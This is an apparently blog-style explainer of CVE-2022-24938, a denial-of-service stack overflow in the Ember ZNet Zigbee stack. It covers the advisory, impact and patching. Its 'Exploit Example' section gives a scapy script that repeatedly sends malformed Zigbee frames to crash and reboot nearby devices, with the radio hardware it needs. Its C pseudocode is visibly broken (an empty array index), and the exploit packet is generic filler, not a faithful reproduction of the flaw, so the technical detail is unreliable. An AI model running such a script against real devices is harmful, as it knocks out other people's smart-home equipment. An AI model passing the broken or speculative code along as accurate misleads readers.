The Ember ZNet protocol stack, widely used in Zigbee devices for smart home automation, has a critical vulnerability tracked as CVE-2022-24938. This flaw arises when a specially crafted (malformed) network packet is received by a device running the Ember ZNet stack, triggering a stack overflow. While an assert causes the device to instantly reboot (resetting the error), understanding and potentially exploiting this flaw shines a light on both device resilience and areas for improvement.

In this exclusive article, we will break down how this vulnerability works, demonstrate it with code, cite original sources, and discuss the impact—using simple, straightforward language.

What is CVE-2022-24938?

CVE-2022-24938 refers to a vulnerability in SiLabs’ Ember ZNet Zigbee stack (version 6.10.3. and earlier). According to the official advisory, if a device receives a malformed Zigbee network packet, it can cause an internal stack overflow. The stack, detecting the overflow, will trigger an assert statement, causing the device to reset immediately. The error state is cleared on reboot.

Normal Packet Handling

Under normal conditions, Zigbee devices process incoming packets based on well-defined lengths and structures. If the packet is as expected, no issues occur.

Malformed Packet Scenario

An attacker sends a Zigbee frame that purports to be of a certain length in its header, but the actual data is longer (or does not match the expected structure). The Ember ZNet stack’s network handling code miscalculates the size, leading to a stack buffer being overwritten (overflowed).

Consequences

If stack memory is corrupted, the stack’s built-in safety detects an overflow and triggers an assertion failure. The device *immediately resets*, wiping the error. This means a successful attacker can cause the device to continually reboot by repeating the malformed packets, creating a denial-of-service condition.

Vulnerability Details

In research notes, Armis Labs, who discovered this flaw, identified specific weaknesses in the Ember Zigbee stack’s network frame parser, especially in the handleIncomingPacket() function.

Here’s what a simplified vulnerable code path might look like (pseudocode)

// Simplified example: vulnerable Zigbee packet parser
void handleIncomingPacket(uint8_t *buf, size_t len) {
    uint8_t header_len = buf[];        // attacker controls header_len
    uint8_t payload[32];                // fixed-size buffer on stack

    if (header_len > 32) {
        // supposed to catch oversize packets, but let's say this check is missing
    }

    memcpy(payload, buf + 1, header_len); // buffer overflow if header_len > 32

    // ... process payload ...
}

If an attacker sends a packet where header_len is 50, the function writes 50 bytes into a 32-byte buffer, corrupting stack memory. An assert triggers and the device reboots.

Exploit Example

An attacker must be within radio range (Zigbee operates at 2.4 GHz, so <20 meters typically).

Here's a Python snippet using 'scapy-radio' to forge and send a malformed Zigbee packet to a target device:

from scapy.layers.dot15d4 import Dot15d4
from scapy.layers.zigbee import ZigbeeNWK
from scapy.sendrecv import sendp

# Construct malformed Zigbee packet with bad length
pkt = Dot15d4() / ZigbeeNWK(data='A' * 50)  # 50 bytes, will overflow expected buffer

# Send on interface connected to Zigbee Radio (e.g., 'zb')
for _ in range(10):  # send several packets to trigger reset
    sendp(pkt, iface='zb', count=1, inter=.5)

*You will need a compatible Zigbee radio transmitter for this test, such as a TI CC2531 or HackRF device, and the ‘scapy-radio’ Python library.*

Impact

- Denial of Service: Devices can be repeatedly crashed and reset, making them unavailable for their intended functions (e.g., smart lights stay off, sensors unreachable).
- No Permanent Damage: The assert and reset mean the overflow can’t be used for further code injection or persistent compromise, *but availability* is at risk.

Mitigation:
Update to the latest Ember ZNet stack. All affected vendors were notified, and a patched version eliminates the buffer overflow.

- Official Vendor Advisory: CISA ICSA-22-090-05
- Research Write-Up: Armis Zigbee Stack Vulnerabilities

Summary

CVE-2022-24938 shows how carefully crafted network packets, even in local wireless systems like Zigbee, can create reliability risks. While the stack safety mechanisms in Ember ZNet prevent code execution, attackers can cause serious, persistent interruptions to smart devices until the underlying software is patched.

If you develop, install, or use Zigbee-based electronics, double-check your device firmware for this vulnerability. Staying up to date is the only real fix!

References

- CISA Advisory: ICSA-22-090-05
- Armis Labs - Zigbee Stack Vulnerabilities
- National Vulnerability Database Entry: CVE-2022-24938


*Exclusive post for educational and defensive research purposes only. Do NOT use these details for unauthorized testing or disruption.*

Timeline

Published on: 11/14/2022 18:15:00 UTC
Last modified on: 11/17/2022 21:55:00 UTC